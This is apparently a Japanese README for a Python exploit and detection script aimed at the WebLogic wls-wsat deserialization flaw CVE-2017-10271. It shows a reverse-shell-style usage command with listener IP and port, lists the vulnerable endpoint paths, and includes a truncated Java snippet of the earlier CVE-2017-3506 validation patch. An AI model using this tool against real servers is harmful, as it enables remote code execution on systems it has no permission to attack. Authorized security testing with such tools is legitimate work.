
Oracle WebLogic WLS-WSAT リモートコード実行エクスプロイト (CVE-2017-10271)
Weblogic wls-wsat コンポーネントの逆シリアル化脆弱性 (CVE-2017-10271) 検出・エクスプロイトスクリプト
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
本スクリプトの使用は自己責任です。Kevin Kirsche は、ここに含まれるコードを使用して行われたいかなる行為についても一切の責任を負いません。このコードは、サーバーのセキュリティを検証したいチーム向けに作成されたものであり、悪意のある使用を目的としたものではありません。
オリジナルの PoC を作成した Luffin に多大な感謝を捧げます。ベースとなったリポジトリ: https://github.com/Luffin/CVE-2017-10271
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE-2017-3506
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}